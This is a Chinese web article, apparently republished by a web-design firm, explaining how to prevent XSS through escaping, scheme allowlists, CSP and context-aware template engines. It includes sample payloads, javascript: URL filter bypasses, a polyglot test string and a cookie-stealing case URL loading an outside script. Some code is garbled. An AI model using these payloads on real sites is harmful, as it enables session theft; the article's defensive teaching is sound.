這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)如何防止XSS攻擊，文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。
創(chuàng)新互聯(lián)建站專業(yè)為企業(yè)提供青陽(yáng)網(wǎng)站建設(shè)、青陽(yáng)做網(wǎng)站、青陽(yáng)網(wǎng)站設(shè)計(jì)、青陽(yáng)網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、青陽(yáng)企業(yè)網(wǎng)站模板建站服務(wù)，10余年青陽(yáng)做網(wǎng)站經(jīng)驗(yàn)，不只是建網(wǎng)站，更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。
隨著互聯(lián)網(wǎng)的高速發(fā)展，信息安全問(wèn)題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一，而前端又是引發(fā)企業(yè)安全問(wèn)題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代，前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問(wèn)題之外，又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問(wèn)題。當(dāng)然，瀏覽器自身也在不斷在進(jìn)化和發(fā)展，不斷引入 CSP、Same-Site Cookies 等新技術(shù)來(lái)增強(qiáng)安全性，但是仍存在很多潛在的威脅，這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。
近幾年，美團(tuán)業(yè)務(wù)高速發(fā)展，前端隨之面臨很多安全挑戰(zhàn)，因此積累了大量的實(shí)踐經(jīng)驗(yàn)。我們梳理了常見(jiàn)的前端安全問(wèn)題以及對(duì)應(yīng)的解決方案，將會(huì)做成一個(gè)系列，希望可以幫助前端人員在日常開發(fā)中不斷預(yù)防和修復(fù)安全漏洞。
我們會(huì)講解 XSS ，主要包括：
1.XSS 攻擊的介紹
2.XSS 攻擊的分類
3.XSS 攻擊的預(yù)防和檢測(cè)
4.XSS 攻擊的總結(jié)
5.XSS 攻擊案例
在開始本文之前，我們先提出一個(gè)問(wèn)題，請(qǐng)判斷以下兩個(gè)說(shuō)法是否正確：
1.XSS 防范是后端 RD（研發(fā)人員）的責(zé)任，后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口，對(duì)敏感字符進(jìn)行轉(zhuǎn)義，才能進(jìn)行下一步操作。
2.所有要插入到頁(yè)面上的數(shù)據(jù)，都要通過(guò)一個(gè)敏感字符過(guò)濾函數(shù)的轉(zhuǎn)義，過(guò)濾掉通用的敏感字符后，就可以插入到頁(yè)面中。
如果你還不能確定答案，那么可以帶著這些問(wèn)題向下看，我們將逐步拆解問(wèn)題。
XSS 攻擊是頁(yè)面被注入了惡意的代碼，為了更形象的介紹，我們用發(fā)生在小明同學(xué)身邊的事例來(lái)進(jìn)行說(shuō)明。
某天，公司需要一個(gè)搜索頁(yè)面，根據(jù) URL 參數(shù)決定關(guān)鍵詞的內(nèi)容。小明很快把頁(yè)面寫好并且上線。代碼如下：
重慶分公司
重慶分公司
< input type = "text" value = "<%= getParameter(" keyword ") %> ">
< button > 搜索
< div >
您搜索的關(guān)鍵詞是： < %= getParameter (" keyword ") %>
然而，在上線后不久，小明就接到了安全組發(fā)來(lái)的一個(gè)神秘鏈接：
http://xxx/search?keyword=">
小明帶著一種不祥的預(yù)感點(diǎn)開了這個(gè)鏈接 [請(qǐng)勿模仿，確認(rèn)安全的鏈接才能點(diǎn)開] 。果然，頁(yè)面中彈出了寫著"XSS"的對(duì)話框。
可惡，中招了！小明眉頭一皺，發(fā)現(xiàn)了其中的奧秘：
當(dāng)瀏覽器請(qǐng)求 http://xxx/search?keyword="> 時(shí)，服務(wù)端會(huì)解析出請(qǐng)求參數(shù) keyword，得到 ">，拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML：
< input type = "text" value = "" > < script > alert( 'XSS' ); ">
< button > 搜索
< div >
您搜索的關(guān)鍵詞是："> < script > alert( 'XSS' );
瀏覽器無(wú)法分辨出 是惡意代碼，因而將其執(zhí)行。
這里不僅僅 div 的內(nèi)容被注入了，而且 input 的 value 屬性也被注入， alert 會(huì)彈出兩次。
面對(duì)這種情況，我們應(yīng)該如何進(jìn)行防范呢？
其實(shí)，這只是瀏覽器把用戶的輸入當(dāng)成了腳本進(jìn)行了執(zhí)行。那么只要告訴瀏覽器這段內(nèi)容是文本就可以了。
聰明的小明很快找到解決方法，把這個(gè)漏洞修復(fù)：
< input type = "text" value = "<%= escapeHTML(getParameter(" keyword ")) %> ">
< button > 搜索
< div >
您搜索的關(guān)鍵詞是： < %= escapeHTML ( getParameter (" keyword ")) %>
escapeHTML() 按照如下規(guī)則進(jìn)行轉(zhuǎn)義：
|字符|轉(zhuǎn)義后的字符|
|-|-|
|&|&|
|<|<|
|>|>|
|"|"|
|'|'|
|/|/|
經(jīng)過(guò)了轉(zhuǎn)義函數(shù)的處理后，最終瀏覽器接收到的響應(yīng)為：
< input type = "text" value = ""><script>alert('XSS');</script>" >
< button > 搜索
< div >
您搜索的關(guān)鍵詞是："><script>alert('XSS');</script>
惡意代碼都被轉(zhuǎn)義，不再被瀏覽器執(zhí)行，而且搜索詞能夠完美的在頁(yè)面顯示出來(lái)。
通過(guò)這個(gè)事件，小明學(xué)習(xí)到了如下知識(shí)：
通常頁(yè)面中包含的用戶輸入內(nèi)容都在固定的容器或者屬性內(nèi)，以文本的形式展示。
攻擊者利用這些頁(yè)面的用戶輸入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代碼片段。
攻擊者通過(guò)在目標(biāo)網(wǎng)站上注入腳本，使之在用戶的瀏覽器上運(yùn)行，從而引發(fā)潛在風(fēng)險(xiǎn)。
通過(guò) HTML 轉(zhuǎn)義，可以防止 XSS 攻擊。 [事情當(dāng)然沒(méi)有這么簡(jiǎn)單啦！請(qǐng)繼續(xù)往下看] 。
自從上次事件之后，小明會(huì)小心的把插入到頁(yè)面中的數(shù)據(jù)進(jìn)行轉(zhuǎn)義。而且他還發(fā)現(xiàn)了大部分模板都帶有的轉(zhuǎn)義配置，讓所有插入到頁(yè)面中的數(shù)據(jù)都默認(rèn)進(jìn)行轉(zhuǎn)義。這樣就不怕不小心漏掉未轉(zhuǎn)義的變量啦，于是小明的工作又漸漸變得輕松起來(lái)。
但是，作為導(dǎo)演的我，不可能讓小明這么簡(jiǎn)單、開心地改 Bug 。
不久，小明又收到安全組的神秘鏈接：http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意，趕忙點(diǎn)開頁(yè)面。然而，頁(yè)面并沒(méi)有自動(dòng)彈出萬(wàn)惡的“XSS”。
小明打開對(duì)應(yīng)頁(yè)面的源碼，發(fā)現(xiàn)有以下內(nèi)容：
< a href = "<%= escapeHTML(getParameter(" redirect_to ")) %> ">跳轉(zhuǎn)...
這段代碼，當(dāng)攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS')，服務(wù)端響應(yīng)就成了：
< a href = "javascript:alert('XSS')" > 跳轉(zhuǎn)...
雖然代碼不會(huì)立即執(zhí)行，但一旦用戶點(diǎn)擊 a 標(biāo)簽時(shí)，瀏覽器會(huì)就會(huì)彈出“XSS”。
可惡，又失策了…
在這里，用戶的數(shù)據(jù)并沒(méi)有在位置上突破我們的限制，仍然是正確的 href 屬性。但其內(nèi)容并不是我們所預(yù)期的類型。
原來(lái)不僅僅是特殊字符，連 javascript: 這樣的字符串如果出現(xiàn)在特定的位置也會(huì)引發(fā) XSS 攻擊。
小明眉頭一皺，想到了解決辦法：
// 禁止 URL 以 "javascript:" 開頭
xss = getParameter( "redirect_to" ).startsWith( 'javascript:' );
if (!xss) {
" >
跳轉(zhuǎn)...
} else {
跳轉(zhuǎn)...
}
只要 URL 的開頭不是 javascript:，就安全了吧？
安全組隨手又扔了一個(gè)連接：http://xxx/?redirect_to=jAvascRipt:alert('XSS')
這也能執(zhí)行？…..好吧，瀏覽器就是這么強(qiáng)大。
小明欲哭無(wú)淚，在判斷 URL 開頭是否為 javascript: 時(shí)，先把用戶輸入轉(zhuǎn)成了小寫，然后再進(jìn)行比對(duì)。
不過(guò)，所謂“道高一尺，魔高一丈”。面對(duì)小明的防護(hù)策略，安全組就構(gòu)造了這樣一個(gè)連接：
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS') 經(jīng)過(guò) URL 解析后變成 javascript:alert('XSS')，這個(gè)字符串以空格開頭。這樣攻擊者可以繞過(guò)后端的關(guān)鍵詞規(guī)則，又成功的完成了注入。
最終，小明選擇了白名單的方法，徹底解決了這個(gè)漏洞：
// 根據(jù)項(xiàng)目情況進(jìn)行過(guò)濾，禁止掉 "javascript:" 鏈接、非法 scheme 等
allowSchemes = [ "http" , "https" ];
valid = isValid(getParameter( "redirect_to" ), allowSchemes);
if (valid) {
" >
跳轉(zhuǎn)...
} else {
跳轉(zhuǎn)...
}
通過(guò)這個(gè)事件，小明學(xué)習(xí)到了如下知識(shí)：
1.做了 HTML 轉(zhuǎn)義，并不等于高枕無(wú)憂。
2.對(duì)于鏈接跳轉(zhuǎn)，如 <a href="xxx" 或 location.href="xxx"，要檢驗(yàn)其內(nèi)容，禁止以 javascript: 開頭的鏈接，和其他非法的 scheme。
某天，小明為了加快網(wǎng)頁(yè)的加載速度，把一個(gè)數(shù)據(jù)通過(guò) JSON 的方式內(nèi)聯(lián)到 HTML 中：
< script >
var initData = < %= data.toJSON () %>
插入 JSON 的地方不能使用 escapeHTML()，因?yàn)檗D(zhuǎn)義 " 后，JSON 格式會(huì)被破壞。
但安全組又發(fā)現(xiàn)有漏洞，原來(lái)這樣內(nèi)聯(lián) JSON 也是不安全的：
1.當(dāng) JSON 中包含 U+2028 或 U+2029 這兩個(gè)字符時(shí)，不能作為 JavaScript 的字面量使用，否則會(huì)拋出語(yǔ)法錯(cuò)誤。
2.當(dāng) JSON 中包含字符串 時(shí)，當(dāng)前的 script 標(biāo)簽將會(huì)被閉合，后面的字符串內(nèi)容瀏覽器會(huì)按照 HTML 進(jìn)行解析；通過(guò)增加下一個(gè) \x3csVg/
它能夠檢測(cè)到存在于 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等多種上下文中的 XSS 漏洞，也能檢測(cè) eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞，并且能繞過(guò)一些 XSS 過(guò)濾器。
小明只要在網(wǎng)站的各輸入框中提交這個(gè)字符串，或者把它拼接到 URL 參數(shù)上，就可以進(jìn)行檢測(cè)了。
http ://xxx/search?keyword=jaVasCript %3 A %2 F*- %2 F* %60 %2 F* %60 %2 F* %27 %2 F* %22 %2 F** %2 F( %2 F* %20 * %2 FoNcliCk %3 Dalert() %20 ) %2 F %2 F %250 D %250 A %250 d %250 a %2 F %2 F %3 C %2 FstYle %2 F %3 C %2 FtitLe %2 F %3 C %2 FteXtarEa %2 F %3 C %2 FscRipt %2 F--! %3 E %3 CsVg %2 F %3 CsVg %2 FoNloAd %3 Dalert() %2 F %2 F %3 E %3 E
除了手動(dòng)檢測(cè)之外，還可以使用自動(dòng)掃描工具尋找 XSS 漏洞，例如 Arachni、Mozilla HTTP Observatory、w3af 等。
我們回到最開始提出的問(wèn)題，相信同學(xué)們已經(jīng)有了答案：
1.XSS 防范是后端 RD 的責(zé)任，后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口，對(duì)敏感字符進(jìn)行轉(zhuǎn)義，才能進(jìn)行下一步操作。
不正確。因?yàn)椋?/p>
防范存儲(chǔ)型和反射型 XSS 是后端 RD 的責(zé)任。而 DOM 型 XSS 攻擊不發(fā)生在后端，是前端 RD 的責(zé)任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統(tǒng)工程。
轉(zhuǎn)義應(yīng)該在輸出 HTML 時(shí)進(jìn)行，而不是在提交用戶輸入時(shí)。
2.所有要插入到頁(yè)面上的數(shù)據(jù)，都要通過(guò)一個(gè)敏感字符過(guò)濾函數(shù)的轉(zhuǎn)義，過(guò)濾掉通用的敏感字符后，就可以插入到頁(yè)面中。
不正確。
不同的上下文，如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等，所需要的轉(zhuǎn)義規(guī)則不一致。
業(yè)務(wù) RD 需要選取合適的轉(zhuǎn)義庫(kù)，并針對(duì)不同的上下文調(diào)用不同的轉(zhuǎn)義規(guī)則。
整體的 XSS 防范是非常復(fù)雜和繁瑣的，我們不僅需要在全部需要轉(zhuǎn)義的位置，對(duì)數(shù)據(jù)進(jìn)行對(duì)應(yīng)的轉(zhuǎn)義。而且要防止多余和錯(cuò)誤的轉(zhuǎn)義，避免正常的用戶輸入出現(xiàn)亂碼。
雖然很難通過(guò)技術(shù)手段完全避免 XSS，但我們可以總結(jié)以下原則減少漏洞的產(chǎn)生：
利用模板引擎
開啟模板引擎自帶的 HTML 轉(zhuǎn)義功能。例如：
在 ejs 中，盡量使用
<%= data %>而不是<%- data %>；在 doT.js 中，盡量使用
{{! data }而不是{{= data }；在 FreeMarker 中，確保引擎版本高于 2.3.24，并且選擇正確的
freemarker.core.OutputFormat。
避免內(nèi)聯(lián)事件
盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內(nèi)聯(lián)事件的寫法。在 JavaScript 中通過(guò) .addEventlistener() 事件綁定會(huì)更安全。
避免拼接 HTML
前端采用拼接 HTML 的方法比較危險(xiǎn)，如果框架允許，使用 createElement、setAttribute 之類的方法實(shí)現(xiàn)?；蛘卟捎帽容^成熟的渲染框架，如 Vue/React 等。
時(shí)刻保持警惕
在插入位置為 DOM 屬性、鏈接等位置時(shí)，要打起精神，嚴(yán)加防范。
增加攻擊難度，降低攻擊后果
通過(guò) CSP、輸入長(zhǎng)度配置、接口安全措施等方法，增加攻擊的難度，降低攻擊的后果。
主動(dòng)檢測(cè)和發(fā)現(xiàn)
可使用 XSS 攻擊字符串和自動(dòng)掃描工具尋找潛在的 XSS 漏洞。
攻擊者發(fā)現(xiàn) http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個(gè) URL 的參數(shù) uin、domain 未經(jīng)轉(zhuǎn)義直接輸出到 HTML 中。
于是攻擊者構(gòu)建出一個(gè) URL，并引導(dǎo)用戶去點(diǎn)擊： http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用戶點(diǎn)擊這個(gè) URL 時(shí)，服務(wù)端取出 URL 參數(shù)，拼接到 HTML 響應(yīng)中：
用戶點(diǎn)擊這個(gè) URL 時(shí)，服務(wù)端取出請(qǐng)求 URL，拼接到 HTML 響應(yīng)中：
< script src = //xxxx.cn/image/t.js > ">按分類檢索 瀏覽器接收到響應(yīng)后就會(huì)加載執(zhí)行惡意腳本
//xxxx.cn/image/t.js，在惡意腳本中利用用戶的登錄狀態(tài)進(jìn)行關(guān)注、發(fā)微博、發(fā)私信等操作，發(fā)出的微博和私信可再帶上攻擊 URL，誘導(dǎo)更多人點(diǎn)擊，不斷放大攻擊范圍。這種竊用受害者身份發(fā)布惡意內(nèi)容，層層放大攻擊范圍的方式，被稱為“XSS 蠕蟲”。擴(kuò)展閱讀：Automatic Context-Aware Escaping
上文我們說(shuō)到：
1.合適的 HTML 轉(zhuǎn)義可以有效避免 XSS 漏洞。
2.完善的轉(zhuǎn)義庫(kù)需要針對(duì)上下文制定多種規(guī)則，例如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等等。
3.業(yè)務(wù) RD 需要根據(jù)每個(gè)插入點(diǎn)所處的上下文，選取不同的轉(zhuǎn)義規(guī)則。
通常，轉(zhuǎn)義庫(kù)是不能判斷插入點(diǎn)上下文的（Not Context-Aware），實(shí)施轉(zhuǎn)義規(guī)則的責(zé)任就落到了業(yè)務(wù) RD 身上，需要每個(gè)業(yè)務(wù) RD 都充分理解 XSS 的各種情況，并且需要保證每一個(gè)插入點(diǎn)使用了正確的轉(zhuǎn)義規(guī)則。
這種機(jī)制工作量大，全靠人工保證，很容易造成 XSS 漏洞，安全人員也很難發(fā)現(xiàn)隱患。
2009年，Google 提出了一個(gè)概念叫做：Automatic Context-Aware Escaping。
所謂 Context-Aware，就是說(shuō)模板引擎在解析模板字符串的時(shí)候，就解析模板語(yǔ)法，分析出每個(gè)插入點(diǎn)所處的上下文，據(jù)此自動(dòng)選用不同的轉(zhuǎn)義規(guī)則。這樣就減輕了業(yè)務(wù) RD 的工作負(fù)擔(dān)，也減少了人為帶來(lái)的疏漏。
在一個(gè)支持 Automatic Context-Aware Escaping 的模板引擎里，業(yè)務(wù) RD 可以這樣定義模板，而無(wú)需手動(dòng)實(shí)施轉(zhuǎn)義規(guī)則：
< html >
< head >
< meta charset = "UTF-8" >
< title > {{.title}}
< body >
< a href = "{{.url}}" > {{.content}}
模板引擎經(jīng)過(guò)解析后，得知三個(gè)插入點(diǎn)所處的上下文，自動(dòng)選用相應(yīng)的轉(zhuǎn)義規(guī)則：
< html >
< head >
< meta charset = "UTF-8" >
< title > {{.title | htmlescaper}}
< body >
< a href = "{{.url | urlescaper | attrescaper}}" > {{.content | htmlescaper}}
目前已經(jīng)支持 Automatic Context-Aware Escaping 的模板引擎有：
1.go html/template
2.Google Closure Templates
上述就是小編為大家分享的如何防止XSS攻擊了，如果剛好有類似的疑惑，不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí)，歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
本文題目：如何防止XSS攻擊
本文網(wǎng)址：http://weahome.cn/article/iedsco.html
